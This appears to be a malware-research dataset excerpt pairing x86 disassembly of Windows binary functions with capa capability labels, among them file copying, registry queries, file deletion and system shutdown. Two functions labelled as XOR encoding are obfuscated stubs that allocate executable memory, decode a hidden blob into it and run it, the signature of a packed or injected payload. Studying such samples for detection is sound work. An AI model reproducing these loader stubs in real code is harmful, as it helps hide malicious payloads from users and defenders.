joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42fee5
Capabilities:
Copy file

Disassembly:
push 0x724
mov eax, 0x45f598
call fcn.004454cb
mov esi, dword [ebp + 0xc]
cmp dword [esi + 0x14], 8
mov edi, dword [ebp + 8]
mov dword [ebp - 0x72c], edi
mov dword [ebp - 0x728], esi
jb 0x42ff10
mov eax, dword [esi]
jmp 0x42ff12
mov eax, esi
cmp dword [edi + 0x14], 8
jb 0x42ff1c
mov ecx, dword [edi]
jmp 0x42ff1e
mov ecx, edi
xor edx, edx
cmp byte [ebp + 0x10], dl
sete dl
push edx
push eax
push ecx
mov dword [ebp - 0x730], edx
call dword [sym.imp.kernel32.dll_CopyFileW]
test eax, eax
jne 0x42ffe6
mov ebx, dword [sym.imp.kernel32.dll_GetLastError]
call ebx
cmp eax, 5
jne 0x42ffaf
and dword [ebp - 4], 0
push 1
push 0x80
push esi
call main
cmp dword [esi + 0x14], 8
jb 0x42ff65
mov ecx, dword [esi]
jmp 0x42ff67
mov ecx, esi
cmp dword [edi + 0x14], 8
jb 0x42ff71
mov eax, dword [edi]
jmp 0x42ff73
mov eax, edi
push dword [ebp - 0x730]
push ecx
push eax
call dword [sym.imp.kernel32.dll_CopyFileW]
test eax, eax
jne 0x42ffe6
or dword [ebp - 4], 0xffffffff
jmp 0x42ffaf
push esi
push edi
push 0x403e08
call ebx
push eax
push 0xf
lea ecx, [ebp - 0x724]
call main
mov esi, eax
push 0x462828
lea eax, [ebp - 0x39c]
mov ecx, 0xe2
lea edi, [ebp - 0x39c]
push eax
rep movsd dword es:[edi], dword [esi]
call main
call fcn.00445524
ret 0xc
Function at 0x432022
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x74c
mov eax, 0x45f7f4
call fcn.00445495
mov edi, ecx
cmp dword [edi + 0x24], 0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x758], eax
jne 0x432077
push 0x404bf0
push 0x3a
lea ecx, [ebp - 0x73c]
call main
mov esi, eax
push 0x462828
lea eax, [ebp - 0x3b4]
mov ecx, 0xe2
lea edi, [ebp - 0x3b4]
push eax
rep movsd dword es:[edi], dword [esi]
call main
cmp dword [esi + 0x14], 8
mov dword [ebp - 0x744], 7
mov dword [ebp - 0x740], 1
jb 0x432095
mov eax, dword [esi]
jmp 0x432097
mov eax, esi
lea ecx, [ebp - 0x740]
push ecx
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x744]
push ecx
push ebx
push eax
push dword [edi + 0x24]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
mov ecx, eax
cmp ecx, 2
je 0x4321ed
cmp dword [ebp - 0x744], 7
jne 0x4321ed
test ecx, ecx
je 0x4320ec
push esi
lea eax, [edi + 8]
push eax
push 0x404ac0
push ecx
push 0xf
lea ecx, [ebp - 0x73c]
call main
jmp 0x432057
mov eax, dword [ebp - 0x740]
add eax, 2
mov dword [ebp - 0x740], eax
mov dword [ebp - 0x754], ebx
mov dword [ebp - 0x750], ebx
mov dword [ebp - 0x74c], ebx
push eax
lea ecx, [ebp - 0x754]
mov dword [ebp - 4], ebx
call main
mov ebx, dword [ebp - 0x750]
sub ebx, dword [ebp - 0x754]
mov dword [ebp - 4], 1
mov eax, ebx
neg eax
sbb eax, eax
and eax, dword [ebp - 0x754]
cmp dword [esi + 0x14], 8
jb 0x432145
mov ecx, dword [esi]
jmp 0x432147
mov ecx, esi
lea edx, [ebp - 0x740]
push edx
push eax
lea eax, [ebp - 0x744]
push eax
push 0
push ecx
push dword [edi + 0x24]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
je 0x432176
push esi
lea ecx, [edi + 8]
push ecx
push 0x404ac0
push eax
jmp 0x4320da
mov edi, dword [ebp - 0x758]
xor esi, esi
mov eax, ebx
neg eax
sbb eax, eax
and eax, dword [ebp - 0x754]
and dword [ebp - 0x1c], 0
xor ecx, ecx
lea eax, [eax + esi*2]
mov word [ebp - 0x2c], cx
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
call main
lea eax, [ebp - 0x2c]
push eax
mov ecx, edi
mov byte [ebp - 4], 2
call main
mov eax, dword [ebp - 0x1c]
push 0
inc eax
push 1
lea ecx, [ebp - 0x2c]
add esi, eax
mov byte [ebp - 4], 1
call main
mov ecx, ebx
neg ecx
sbb ecx, ecx
and ecx, dword [ebp - 0x754]
cmp byte [ecx + esi*2], 0
jne 0x43217e
lea ecx, [ebp - 0x754]
call fcn.00438445
mov al, 1
jmp 0x4321ef
xor al, al
call fcn.00445518
ret 8
Function at 0x43d16d
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x14
mov eax, 0x46105b
call fcn.0044542c
mov ebx, dword [ebp + 8]
xor edi, edi
or esi, 0xffffffff
test edi, edi
jne 0x43d196
cmp dword [0x49b850], edi
je 0x43d280
push 2
pop ebx
jmp 0x43d1b0
cmp edi, 1
jne 0x43d280
mov eax, ebx
call fcn.0043e05e
test al, al
je 0x43d280
xor ebx, ebx
lea ecx, [ebp - 0xd]
mov dword [ebp - 0x1c], ebx
call fcn.0043e080
mov ecx, dword [ebp + 8]
xor eax, eax
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
movzx eax, word [ecx + 0xc]
shr eax, 1
and eax, 0x10
or eax, ebx
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ecx + 8]
jmp 0x43d262
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
mov ebx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x43d1f7
mov eax, dword [ebx]
push ecx
push dword [ebp + 0xc]
lea ecx, [ebp - 0x20]
push ecx
push 0
push dword [ebp + 0x18]
push eax
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
mov esi, eax
call fcn.0043d857
test eax, eax
je 0x43d294
push 0x1c049f
push 0
call main
mov esi, dword [ebp + 8]
mov eax, dword [esi + 8]
movzx eax, word [eax + 6]
and eax, 0xf
imul eax, eax, 0xc
and dword [eax + 0x469528], 0
push ebx
mov ecx, 0x49b860
call main
movzx eax, word [esi + 0xc]
and dword [ebp - 0x14], 0
shr eax, 1
and eax, 0x10
or eax, dword [ebp - 0x1c]
push 0
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [esi + 8]
call fcn.0043d96e
mov esi, eax
test esi, esi
je 0x43d1e3
mov ebx, dword [ebp + 8]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd]
call fcn.0043e0a1
inc edi
cmp edi, 2
jl 0x43d17e
mov eax, esi
call fcn.00445504
ret 0x18
push ebx
mov ecx, 0x49b860
call main
mov ebx, dword [ebp + 8]
test esi, esi
jne 0x43d274
movzx ecx, word [ebx + 0xc]
mov eax, ecx
and eax, 0xf
cmp dword [ebp - 0x20], eax
je 0x43d2cf
cmp dword [ebp - 0x20], 3
jne 0x43d2ca
mov eax, dword [ebp + 0x14]
cmp dword [eax], 4
jne 0x43d2ca
and cl, 0xf
cmp cl, 4
je 0x43d2cf
push 2
pop esi
jmp 0x43d274
mov eax, dword [ebp + 0x1c]
lea ecx, [ebp - 0xd]
mov dword [eax], 1
call fcn.0043e0a1
xor eax, eax
jmp 0x43d28c
Function at 0x43d758
Capabilities:
Query or enumerate registry value

Disassembly:
push 4
mov eax, 0x4610cc
call fcn.0044542c
mov esi, dword [ebp + 8]
cmp esi, dword [0x49b858]
jne 0x43d776
xor al, al
jmp 0x43d84f
mov bl, byte [ebp + 0xc]
test bl, bl
je 0x43d787
xor ecx, ecx
cmp dword [0x49b850], ecx
jmp 0x43d792
mov eax, esi
call fcn.0043e05e
xor ecx, ecx
test al, al
sete cl
test ecx, ecx
jne 0x43d76f
xor edi, edi
lea ecx, [ebp + 0xf]
mov dword [ebp + 8], edi
mov dword [ebp - 0x10], edi
call fcn.0043e080
mov dword [ebp - 4], edi
movzx edi, bl
neg edi
sbb edi, edi
and edi, 2
xor ebx, ebx
jmp 0x43d810
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x43d7c6
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push dword [esi]
push eax
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
mov ebx, eax
call fcn.0043d857
test eax, eax
je 0x43d835
push 0x1c04c2
xor ebx, ebx
push ebx
call main
mov eax, dword [esi + 8]
movzx eax, word [eax + 6]
push dword [ebp + 8]
and eax, 0xf
imul eax, eax, 0xc
mov ecx, 0x49b860
mov dword [eax + 0x469528], ebx
call main
mov dword [ebp + 8], ebx
movzx eax, word [esi + 0xc]
shr eax, 1
and eax, 0x10
push ebx
or eax, edi
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push eax
push dword [esi + 8]
call fcn.0043d96e
mov ebx, eax
test ebx, ebx
je 0x43d7ba
jmp 0x43d842
push dword [ebp + 8]
mov ecx, 0x49b860
call main
lea ecx, [ebp + 0xf]
call fcn.0043e0a1
test ebx, ebx
sete al
call fcn.00445504
ret 8
Function at 0x43e0c2
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x14
mov eax, 0x461122
call fcn.0044542c
mov esi, dword [ebp + 8]
cmp esi, dword [0x49b858]
jne 0x43e0e0
xor eax, eax
jmp 0x43e245
and dword [ebp - 0x1c], 0
xor ecx, ecx
mov dword [ebp - 0x18], ecx
xor ebx, ebx
or edi, 0xffffffff
test ebx, ebx
jne 0x43e103
cmp dword [0x49b850], ebx
je 0x43e205
push 2
pop edi
jmp 0x43e11d
cmp ebx, 1
jne 0x43e205
mov eax, esi
call fcn.0043e05e
test al, al
je 0x43e205
xor edi, edi
and dword [ebp - 0x10], 0
lea ecx, [ebp + 0xb]
mov dword [ebp - 0x20], edi
call fcn.0043e080
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
push eax
movzx eax, word [esi + 0xc]
shr eax, 1
and eax, 0x10
or eax, edi
jmp 0x43e1c8
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x43e151
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
lea ecx, [ebp - 0x18]
push ecx
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
push dword [esi]
push eax
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
cmp dword [ebp - 0x18], 2
mov edi, eax
jae 0x43e17d
cmp dword [ebp - 0x1c], 1
je 0x43e17a
cmp dword [ebp - 0x1c], 2
jne 0x43e17d
push 2
pop edi
mov eax, edi
call fcn.0043d857
test eax, eax
je 0x43e1e5
push 0x1c0496
xor edi, edi
push edi
call main
mov eax, dword [esi + 8]
movzx eax, word [eax + 6]
push dword [ebp - 0x10]
and eax, 0xf
imul eax, eax, 0xc
mov ecx, 0x49b860
mov dword [eax + 0x469528], edi
call main
movzx eax, word [esi + 0xc]
shr eax, 1
and eax, 0x10
or eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], edi
push edi
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [esi + 8]
call fcn.0043d96e
mov edi, eax
test edi, edi
je 0x43e145
jmp 0x43e1f6
push dword [ebp - 0x10]
mov ecx, 0x49b860
call main
test edi, edi
je 0x43e211
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xb]
call fcn.0043e0a1
mov ecx, dword [ebp - 0x18]
inc ebx
cmp ebx, 2
jl 0x43e0eb
jmp 0x43e220
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xb]
call fcn.0043e0a1
mov ecx, dword [ebp - 0x18]
test edi, edi
jne 0x43e23b
cmp dword [ebp - 0x1c], 2
je 0x43e233
mov al, byte [esi + 0xc]
and al, 0xf
cmp al, 2
jne 0x43e243
push ecx
call main
jmp 0x43e241
push esi
call main
mov ecx, eax
mov eax, ecx
call fcn.00445504
ret 4
Function at 0x4453d2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x499c0c]
jne 0x446479
repz ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x49c278], eax
mov dword [0x49c274], ecx
mov dword [0x49c270], edx
mov dword [0x49c26c], ebx
mov dword [0x49c268], esi
mov dword [0x49c264], edi
mov word [0x49c290], ss
mov word [0x49c284], cs
mov word [0x49c260], ds
mov word [0x49c25c], es
mov word [0x49c258], fs
mov word [0x49c254], gs
pushfd
pop dword [0x49c288]
mov eax, dword [ebp]
mov dword [0x49c27c], eax
mov eax, dword [ebp + 4]
mov dword [0x49c280], eax
lea eax, [ebp + 8]
mov dword [0x49c28c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x49c1c8], 0x10001
mov eax, dword [0x49c280]
mov dword [0x49c17c], eax
mov dword [0x49c170], 0xc0000409
mov dword [0x49c174], 1
mov eax, dword [0x499c0c]
mov dword [ebp - 0x328], eax
mov eax, dword [0x499c10]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x49c1c0], eax
push 1
call fcn.0044d3e0
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x410f48
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x49c1c0], 0
jne 0x446565
push 1
call fcn.0044d3e0
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x4549a1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x4549b0
pop dword [ebp - 0x4c]
mov eax, 0x90e9237b
sub eax, 0x90a3d9cb
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x97ebcba1
add dword [ebp - 0x5c], 0xb66679aa
mov dword [ebp - 0x58], 0x8aacfd0f
add dword [ebp - 0x58], 0xa7864f36
mov dword [ebp - 0x54], 0x3b16a0a2
sub dword [ebp - 0x54], 0xeeca5c74
mov dword [ebp - 0x50], 0xa4912055
add dword [ebp - 0x50], 0x5b6edfab
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x527cbd92
add eax, 0xadc354f6
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xdb789b4f
add dword [ebp - 0x5c], 0x98f9ce07
mov dword [ebp - 0x58], 0xd802861d
add dword [ebp - 0x58], 0x6969db58
mov dword [ebp - 0x54], 0x9f819c20
sub dword [ebp - 0x54], 0x3c122fb4
mov dword [ebp - 0x50], 0x84c9d215
sub dword [ebp - 0x50], 0x84c9d215
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x5c74edb9
sub eax, 0x5c34db6d
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x488fd
push 0
call eax
mov ecx, 0xdaf83f19
add ecx, 0x250803c7
xor edi, edi
add edi, eax
mov edx, 0x4d2400
add edx, dword [ebp - 0x4c]
mov esi, 0x65d1ded2
sub esi, 0xe8378516
add dword [ebp - 0x2c], esi
mov ebx, dword [edx]
xor dword [ebp - 0x18], 0x778bb600
add ebx, esi
add dword [ebp - 0x24], edx
mov dword [edi], ebx
add dword [ebp - 0x48], 0xd45dc9b1
add edi, 0xff936b45
add edi, 0x6c94bf
add edx, 4
loop 0x454ace
add eax, 0xfe53
xor ebx, ebx
add ebx, eax
add eax, 0xb5021e3f
add eax, 0x4afde1c6
mov ecx, 0x6a1583b8
sub ecx, 0x69d583b8
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x100169b
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x100a1f4]
push ebx
xor ebx, ebx
cmp eax, 2
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], bl
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], 5
mov dword [ebp - 4], ebx
jne 0x10017be
lea eax, [ebp - 4]
push eax
call fcn.01004c44
test eax, eax
jne 0x10017ac
lea eax, [ebp - 0xc]
push eax
push 8
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.advapi32.dll_OpenProcessToken]
test eax, eax
je 0x10017be
push edi
mov edi, dword [sym.imp.advapi32.dll_GetTokenInformation]
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 2
push dword [ebp - 0xc]
call edi
test eax, eax
jne 0x10017a0
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x10017a0
push esi
push dword [ebp - 8]
push ebx
call dword [sym.imp.kernel32.dll_LocalAlloc]
mov esi, eax
cmp esi, ebx
je 0x100179f
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push 2
push dword [ebp - 0xc]
call edi
test eax, eax
je 0x1001798
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.advapi32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1001798
cmp dword [esi], ebx
jbe 0x100178f
lea edi, [esi + 4]
push dword [ebp - 0x10]
push dword [edi]
call dword [sym.imp.advapi32.dll_EqualSid]
test eax, eax
jne 0x1001784
inc ebx
add edi, 8
cmp ebx, dword [esi]
jb 0x100176b
jmp 0x100178f
xor eax, eax
inc eax
mov dword [0x100a1f4], eax
mov dword [ebp - 4], eax
push dword [ebp - 0x10]
call dword [sym.imp.advapi32.dll_FreeSid]
push esi
call dword [sym.imp.kernel32.dll_LocalFree]
pop esi
push dword [ebp - 0xc]
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
jmp 0x10017bb
cmp dword [ebp - 4], ebx
je 0x10017bb
mov dword [0x100a1f4], 1
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x1001f5b
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1001f78
push 0
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
jmp 0x1001f7b
and eax, 0x10
ret 4

Function at 0x100264f
Capabilities:
Shutdown system

Disassembly:
test byte [esp + 4], 2
jne 0x1002660
call fcn.01002623
cmp eax, 2
jne 0x100269e
test byte [esp + 4], 4
jne 0x1002683
push 4
push 0x40
push 0
push 0x1001251
push 0x522
push 0
call fcn.01004c44
cmp eax, 6
jne 0x100269e
cmp word [0x100aa64], 0
jne 0x1002699
push 0
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x100269e
call fcn.01004c44
ret 4
Function at 0x1002b44
Capabilities:
Create directory

Disassembly:
push edi
mov edi, dword [esp + 8]
mov cl, byte [edi]
test cl, cl
je 0x1002ba9
push ebx
push esi
lea esi, [edi + 1]
mov al, byte [esi]
xor ebx, ebx
cmp al, 0x3a
jne 0x1002b67
cmp byte [edi + 2], 0x5c
jne 0x1002b67
lea esi, [edi + 3]
jmp 0x1002ba2
cmp cl, 0x5c
jne 0x1002ba2
cmp al, cl
jne 0x1002ba2
push 2
lea esi, [edi + 2]
pop ebx
jmp 0x1002ba2
cmp byte [esi], 0x5c
jne 0x1002b99
cmp byte [esi - 1], 0x3a
je 0x1002b99
test ebx, ebx
je 0x1002b8a
dec ebx
jmp 0x1002b99
and byte [esi], 0
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
cmp byte [esi], 0
jne 0x1002b78
pop esi
pop ebx
pop edi
ret 4

Function at 0x1002ebf
Capabilities:
Delete file
Set current directory
Set file attributes

Disassembly:
sub esp, 0x104
push ebp
push esi
mov esi, dword [0x100ac40]
xor ebp, ebp
cmp esi, ebp
push edi
mov edi, esi
je 0x1002f13
push ebx
mov ebx, dword [sym.imp.kernel32.dll_LocalFree]
cmp dword [0x100b884], ebp
jne 0x1002f02
cmp dword [0x100b490], ebp
jne 0x1002f02
push 0x80
push dword [esi]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
push dword [esi]
call dword [sym.imp.kernel32.dll_DeleteFileA]
push dword [edi]
mov esi, dword [esi + 4]
call ebx
push edi
call ebx
cmp esi, ebp
mov edi, esi
jne 0x1002edd
pop ebx
cmp dword [0x100b880], ebp
je 0x1002f63
cmp dword [0x100b884], ebp
jne 0x1002f63
cmp dword [0x100b490], ebp
jne 0x1002f63
push 0x100ac44
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_lstrcpyA]
test byte [0x100b494], 0x20
je 0x1002f4e
lea eax, [esp + 0xc]
push eax
call fcn.01005bf7
push 0x1001284
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
lea eax, [esp + 0xc]
push eax
call fcn.01004c44
cmp word [0x100aa64], 1
je 0x1002f7a
cmp dword [0x100b880], ebp
je 0x1002f7a
call fcn.01004c44
pop edi
pop esi
mov dword [0x100b880], ebp
pop ebp
add esp, 0x104
ret

Function at 0x1002f8a
Capabilities:
Check if file exists
Create directory
Delete directory
Delete file
Get common file path
Get file attributes

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
mov esi, dword [esp + 0x118]
push edi
xor edi, edi
xor ebp, ebp
push edi
lea eax, [esp + 0x14]
push 0x1001348
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push dword [esp + 0x118]
inc edi
push esi
call dword [sym.imp.kernel32.dll_lstrcpyA]
lea eax, [esp + 0x10]
push eax
push esi
call fcn.01005bb8
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
mov ebx, dword [sym.imp.kernel32.dll_CreateDirectoryA]
je 0x1003025
cmp edi, 0x190
jl 0x1002f9f
push esi
push 0
push 0x1001344
push dword [esp + 0x124]
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
test eax, eax
je 0x1003016
xor ebp, ebp
push esi
inc ebp
call dword [sym.imp.kernel32.dll_DeleteFileA]
push 0
push esi
call ebx
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x104
ret 8
xor ebp, ebp
push ebp
push esi
call ebx
test eax, eax
je 0x1002fee
xor eax, eax
inc eax
mov dword [0x100b880], eax
mov ebp, eax
jmp 0x1003016
Function at 0x1003e8c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
push ebx
call dword [sym.imp.kernel32.dll_lstrlenA]
add eax, 0x14
push eax
push 0x40
call dword [sym.imp.kernel32.dll_LocalAlloc]
mov esi, eax
xor ebp, ebp
cmp esi, ebp
jne 0x1003ecc
push ebp
push 0x10
push ebp
push ebp
push 0x4b5
push ebp
call fcn.01004c44
call fcn.01003573
mov dword [0x100aa5c], eax
xor eax, eax
jmp 0x1003f33
push edi
push ebx
push esi
call dword [sym.imp.kernel32.dll_lstrcpyA]
push 0x10013c4
push esi
call fcn.01005bb8
push ebp
push 0x4000080
push 1
push ebp
push ebp
push 0x40000000
push esi
call dword [sym.imp.kernel32.dll_CreateFileA]
push esi
mov edi, eax
call dword [sym.imp.kernel32.dll_LocalFree]
cmp edi, 0xffffffff
je 0x1003f26
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
push ebx
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1003f26
test al, 0x10
je 0x1003f26
xor eax, eax
mov dword [0x100aa5c], ebp
inc eax
jmp 0x1003f32
call fcn.01003573
mov dword [0x100aa5c], eax
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x1004835
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
xor ebx, ebx
inc ebx
push esi
mov edi, ebx
call fcn.01005c50
test eax, eax
jne 0x100484f
mov eax, ebx
jmp 0x10048aa
cmp dword [0x100ac3c], 0
jne 0x100489c
test byte [0x100b898], bl
jne 0x100489c
push 6
push 0
push 0x1003869
push dword [0x100aa4c]
mov dword [0x100ae64], esi
push 0x7d3
push dword [0x100b4a4]
call fcn.01004c44
sub eax, 6
je 0x100489a
dec eax
je 0x10048b0
sub eax, 0x832
jne 0x100489c
mov dword [0x100ac3c], ebx
mov edi, ebx
push 0x80
push esi
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
mov eax, edi
pop edi
pop esi
pop ebx
ret 4
xor edi, edi
jmp 0x10048a8

Function at 0x1004c44
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1004c53
pop dword [ebp - 0x2c]
mov eax, 0x10a5dd0e
add eax, 0xf05a6f45
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x41415b07
sub dword [ebp - 0x3c], 0xf2ef15bc
mov dword [ebp - 0x38], 0x6246066c
add dword [ebp - 0x38], 0xcfed45d9
mov dword [ebp - 0x34], 0x26749883
sub dword [ebp - 0x34], 0xda285455
mov dword [ebp - 0x30], 0x1e0a412b
sub dword [ebp - 0x30], 0x1e0a412b
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x691b32fe
add eax, 0x97e4de56
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x69fa0e09
sub dword [ebp - 0x3c], 0xf587a4b3
mov dword [ebp - 0x38], 0x231661aa
sub dword [ebp - 0x38], 0xe1aa0035
mov dword [ebp - 0x34], 0xd3e933c3
sub dword [ebp - 0x34], 0x7079c757
mov dword [ebp - 0x30], 0x4a770340
add dword [ebp - 0x30], 0xb588fcc0
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xc3fb2079
add eax, 0x3d04f047
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3438f
push 0
call eax
mov ecx, 0x3bcb
mov edx, eax
mov esi, 0x10e6000
add esi, dword [ebp - 0x2c]
mov ebx, 0xbcaad577
sub ebx, 0x656bfb0d
xor dword [ebp - 0x20], 0xb0412347
mov edi, dword [esi]
add dword [ebp - 0x28], ecx
sub edi, ebx
xor dword [ebp - 4], edx
mov dword [edx], edi
mov dword [ebp - 0x20], 0xc1331b8d
add edx, 0x9d266d3
sub edx, 0x9d266cf
add esi, 4
loop 0x1004d69
add eax, 0xf1ebcfb8
add eax, 0xe151247
xor ebx, ebx
add ebx, eax
add eax, 0xe519386e
add eax, 0x1ae6c797
mov ecx, 0x1000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret